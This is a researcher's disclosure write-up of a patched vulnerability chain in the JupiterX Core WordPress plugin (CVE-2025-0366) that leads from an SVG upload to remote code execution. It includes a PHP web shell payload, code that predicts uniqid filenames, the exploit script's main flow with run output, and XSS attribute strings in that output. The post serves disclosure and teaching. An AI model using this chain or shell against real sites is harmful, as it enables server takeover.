JupiterX Core: Chaining Limited Vulns from SVG to RCE

tldr;

On their own, these two vulnerabilities in JupiterX Core wouldn’t have been very impactful or likely to get a bounty; but by chaining them together, the exploit could be escalated from a simple SVG upload to full Remote Code Execution (RCE).

  • Affected Versions: <= 4.8.6
  • CVSS Score: 8.8
  • CVE-ID: CVE-2025-0366
  • Links: Mitre, NVD
  • Active installations: 90,000+
  • Bounty: $782 (Wordfence)

About JupiterX Core

JupiterX Core is a companion plugin for the popular WordPress theme named JupiterX. The core plugin provides functionality that the theme requires. The companion plugin is available on the wordpress.org repo while the theme itself is paid and available via themeforest (~$58 at time of writing). The theme has 180,000 sales while the core plugin only has ~95k active installs.

JupiterX Website Screenshot

JupiterX Website Screenshot

Vulnerabilities

This report chains multiple vulnerabilities together (2-3 depending on how you count them) to achieve RCE.

  1. Limited Arbitrary File Upload - We can create a form and upload a SVG file
  2. Insufficient randomness in uploaded filenames - A limited brute force or email leak allows us to determine the uploaded filename.
  3. Limited File Inclusion - An Elementor video widget allows arbitrary inclusion of SVG files via a path traversal that will be executed as PHP files if they contain any PHP tags.

So let’s dive in and break down each vuln…

Limited Arbitrary File Upload Code

As a contributor user we can create a raven-form Elementor widget on a page and allow SVG uploads on this form.

In includes/extensions/raven/includes/modules/forms/classes/ajax-handler.php on line 434 the move_uploaded_file PHP function is used to move a file after disallowing some specific file extensions. This deny-list of extensions prevents us from directly being able to achieve code execution by uploading a filetype like .php and friends (.php5, .htaccess, .phtml, .phar etc…).

$move_new_file = @move_uploaded_file( $file['tmp_name'], $new_file );

As the move_uploaded_file is used rather than one of the WordPress methods for uploading it bypasses the restriction that prevents SVG uploading. Alone, this vulnerability leads to a limited XSS; because accessing an SVG in a browser will allow JavaScript execution from within it, however it is sandboxed from the target domain, so has no access to cookies or any of the other good stuff.

Insufficient Randomness in Filename Code

After upload the file is renamed to help increase security and privacy by not having predictable filenames and paths that an attacker could use to either download or use them in further exploitation. This occurs in includes/extensions/raven/includes/modules/forms/classes/ajax-handler.php on line 423

$filename       = uniqid() . '.' . $file_extension;

Successfully obtaining the filename is essential to exploiting the file inclusion vulnerability described later. So let’s explore that function:

Uniqid

Originally, I thought that this was going to make it impossible to obtain the filename which would have prevented its use for a file inclusion attack. However, looking more into PHP’s uniqid function revealed that it is not as random as it appears.

uniqid outputs a hexadecimal representation of the servers current microtime. We can drop into an interactive PHP shell with php -a to observe this, by outputting of a few calls to uniqid:

php > echo uniqid();
6783cb5863e88
php > echo uniqid();
6783cb5905491
php > echo uniqid();
6783cb5a640e4

This nicely demonstrates the lack of randomness, as the first 7 chars are identical. We should be able to generate matching ids on our attacking machine providing we know or can guess the microtime of the server. The uniqid generation turned out to be possible using quite a simple Python function:

def php_uniqid(microtime):
    seconds = int(microtime)
    microseconds = int((microtime - seconds) * 1_000_000)

    hex_seconds = f"{seconds:x}"
    hex_microseconds = f"{microseconds:x}".zfill(5)  # PHP pads microseconds to 5 hex chars

    uniqid = hex_seconds + hex_microseconds

    return uniqid

As you can see we need to know the time of the server to 5 decimal places, this means if we have the time correct to within 1 second, we would need to check 100,000 values before being certain of getting a matching value. Thankfully there are a couple more tricks that can reduce this guesswork, let’s keep going…

Payload Optimization

The window of time between sending the request and receiving the server’s response was relatively small, under 200ms. Brute-forcing all possible uniqid values within that timeframe would take only a few minutes. However, through testing, I found that filename generation consistently occurred about 95% of the way through this window. This is likely due to how slow WordPress is to load; since it is stateless, each request fully initializes WordPress from scratch, resulting in a lengthy initialization process. By simply searching backwards from the response time, I was able to identify the correct file within a few seconds. Keep reading to see how I found an easier and more efficient solution.

SVG File Inclusion

The next vulnerability is the limited file inclusion in the raven-video Elementor widget. In includes/extensions/raven/includes/modules/video/widgets/video.php on line 1360 user-controllable parameter device_frame (an Elementor display setting) is used in an include statement after going through the get_svg function:

<?php include Utils::get_svg( 'frame-' . $settings['device_frame'] ); ?>

Where get_svg is defined in includes/extensions/raven/includes/utils.php on lines 82-87 and simply concatenates the input into a path, allowing for path traversal to include any SVG file on the system:

public static function get_svg( $file_name = '' ) {
    if ( empty( $file_name ) ) {
        return $file_name;
    }
    
    return Plugin::$plugin_path . 'assets/img/' . $file_name . '.svg';
}

This convenient but sloppy way of including an SVG means that instead of just echo’ing the contents of the file it will actually execute the contents of the file as a PHP script. For normal SVG file this will execute as the developer intended. However, by including PHP tags (<?php and ?>) in the SVG it will execute anything in between as PHP code, leading to a delicious RCE.

As there is no SVG file validation we can simply upload a basic PHP shell directly as an SVG:

<?php system($_REQUEST['cmd']);die();

Note by adding a call to die we halt the execution so that when our payload is triggered it will be the last thing output. This is purely to make it easier to grep.

Filename leak via email

After painstakingly getting the brute force process working effectively, I discovered an alternative: leaking the filename directly via email. This works because you can set who receives an email when you create the form and all the form data including filenames is sent. By setting this to an email you control you can obtain the filenames without any hassle.

I had originally skipped looking into this because email was not set up in my Docker instance. But this is quite easy to achieve with a Mailcatcher instance attached to your Docker stack:

Screenshot of Mailcatcher showing leaked filenames

Screenshot of Mailcatcher showing leaked filenames

Proof of Concept

Now that we’ve explained the exploits, let’s look at the final proof-of-concept script:

Exploit Script Steps

  1. Logs into the target WordPress site using provided credentials.
  2. Fetches necessary nonces and the next available post ID.
  3. Creates a new WordPress post and injects a malicious upload form.
  4. Retrieves form and field IDs from the created post.
  5. Uploads malicious SVG files containing PHP code.
  6. Calculates possible unique file names based on upload timing.
  7. Constructs payloads to exploit a Local File Inclusion (LFI) vulnerability.
  8. Tests and executes commands remotely if the exploit succeeds.

Code Snippet

def exploit():
    if not do_login(USER, PASSWORD):
        return False

    nonce = get_nonce()
    if not nonce:
        print(f"[!] Error: Could not get nonce!")
        return False

    print(f"[+] Nonce: {nonce}")

    post_id, api_nonce = get_next_post_id_and_api_nonce()
    print(f"[+] Next Post ID: {post_id}")
    print(f"[+] API Nonce: {api_nonce}")

    if not post_id:
        print(f"[!] Error: Could not get next post id!")
        return False

    if not api_nonce:
        print(f"[!] Error: Could not get API nonce id!")
        return False

    post_id = create_new_post(post_id, api_nonce)

    if not post_id:
        print(f"[!] Error: Could not create new post with id: {post_id}!")
        return False

    print(f"[+] Post ID: {post_id}")

    # This little request lets Elementor steal the post, otherwise you'll get access denied
    try:
        session.get(f'{TARGET}/wp-admin/post.php?post={post_id}&action=elementor')
    except:
        # Catch some weird chunking error proxy is throwing...
        pass

    if not upload_form(nonce, post_id):
        print('[!] Error could not update post')
        return

    print(f"[+] Created Post with form: {post_id}")
    print(f"[+] Visit: {TARGET}/?p={post_id}")

    field_id, form_id = get_form_ids(post_id)

    if not field_id or not form_id:
        print(f"[!] Error: Could not get field or form ids! {form_id} {field_id}")
        return

    print(f"[+] Form ID: {form_id}")
    print(f"[+] Field ID: {field_id}")

    timing = upload_svgs(post_id, form_id, field_id, 10)

    if not timing:
        print(f"[!] Error: Could not upload SVGs")
        return False

    window = timing[1] - timing[0]

    print(f"[+] Window: {window}s ({timing[0]} - {timing[1]})")

    if METHOD == 'BRUTEFORCE':
        possible_ids = generate_possible_uniqids(timing[0], timing[1])

        # Reverse the list as we tend to be in last 95% or so of the timing (from my testing)
        possible_ids.reverse()

        print(f"[+] Possible Unique IDs: {len(possible_ids)}")

        chunk_size = 500

        print(f'[+] Creating a post to hit LFIs, testing {chunk_size} at a time')

        for i in range(0, len(possible_ids), chunk_size):
            chunk = possible_ids[i:i + chunk_size]

            print(f'{100 * i / len(possible_ids):.2f}% {i}/{len(possible_ids)}')
            create_lfi_post(nonce, post_id, chunk)

            if test_lfi_post(post_id):
                print('[+] Found LFI!!!')
                print(f"[+] Visit: {TARGET}/?p={post_id}&cmd=id;ls%20-lah")
                return
    else:
        print('Please enter an SVG filename, the filenames should be contained in an email you have received')
        svg_file_name = input('Enter File Name (e.g. 677c256fe7327): \n')

        create_lfi_post(nonce, post_id, [svg_file_name])

        if test_lfi_post(post_id):
            print('[+] Found LFI!!!')
            print(f"[+] Visit: {TARGET}/?p={post_id}&cmd=id;ls%20-lah")
            return

This snippet from the PoC shows the exploit flow, the full script is omitted here due to its size (~300 lines). The full PoC Python script can be found in my wordpress-hacking repo along with more of my published PoCs and reports.

Exploitation

Using this PoC script a Contributor+ user can gain command execution on the server.

❯ python3 exploit.py
[+] Login Successful
[+] Nonce: c3c580ab2d
[+] Next Post ID: 382
[+] API Nonce: c00c13af67
[+] Post ID: 382
{'success': True, 'data': {'responses': {'save_builder': {'success': True, 'code': 200, 'data': {'status': 'pending', 'config': {'document': {'last_edited': 'Last edited on <time>Jan 6, 17:53</time> by user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userf`)"x= user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userl`)"x=', 'urls': {'wp_preview': 'http://wordpress.local:1337/?p=382&preview_id=382&preview_nonce=491384df60&preview=true'}, 'status': {'value': 'pending', 'label': 'Pending'}, 'revisions': {'current_id': 382}}}, 'latest_revisions': [{'id': 382, 'author': 'user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userf`)"x= user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userl`)"x=', 'timestamp': 1736186009, 'date': '<time>1 second</time> ago (<time>Jan 6 @ 17:53</time>)', 'type': 'current', 'typeLabel': 'Current Version', 'gravatar': "<img alt='' src='http://2.gravatar.com/avatar/529f87bc7a8018879c05c249c93d3b44?s=22&#038;d=mm&#038;r=g' srcset='http://2.gravatar.com/avatar/529f87bc7a8018879c05c249c93d3b44?s=44&#038;d=mm&#038;r=g 2x' class='avatar avatar-22 photo' height='22' width='22' decoding='async'/>"}, {'id': 196, 'author': 'user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userf`)"x= user"id="x"tabindex="1"autofocus="1"onfocus="alert(`userl`)"x=', 'timestamp': 1736186009, 'date': '<time>1 second</time> ago (<time>Jan 6 @ 17:53</time>)', 'type': 'revision', 'typeLabel': 'Revision', 'gravatar': "<img alt='' src='http://2.gravatar.com/avatar/529f87bc7a8018879c05c249c93d3b44?s=22&#038;d=mm&#038;r=g' srcset='http://2.gravatar.com/avatar/529f87bc7a8018879c05c249c93d3b44?s=44&#038;d=mm&#038;r=g 2x' class='avatar avatar-22 photo' height='22' width='22' decoding='async'/>"}], 'revisions_ids': [382, 196]}}}}}
[+] Created Post with form: 382
[+] Visit: http://wordpress.local:1337/?p=382
[+] Form ID: 10ab6ec
[+] Field ID: 856fd19
[+] Upload Success
[+] Window: 0.4266054630279541s (1736189757.1574607 - 1736189757.5840662)
Please enter an SVG filename, the filenames should be contained in an email you have received
Enter File Name (e.g. 677c256fe7327): 
677c273d7f7aa
[+] Found LFI!!!
[+] Visit: http://wordpress.local:1337/?p=382&cmd=id;ls%20-lah

Timeline

  • 06/01/25 (0 day) - Discovery and disclosure to Wordfence
  • 09/01/25 (+3 day) - Wordfence validated and assigned CVE
  • 10/01/25 (+8 days) - $680 bounty assigned by Wordfence
  • 10/01/25 (+8 days) - Bounty discussed and reevaluated to $782 by Wordfence (Originally missing the 15% chaining bonus)
  • 28/01/25 (+22 days) - Patch released in version 4.8.8
  • 31/01/25 (+25 days) - Vulnerability publicly disclosed

Conclusion

This vulnerability chain highlights the importance of paying attention to small or limited vulnerabilities and gadgets. Something that initially appears low impact or insignificant on its own can become fruitful when paired with another vulnerability.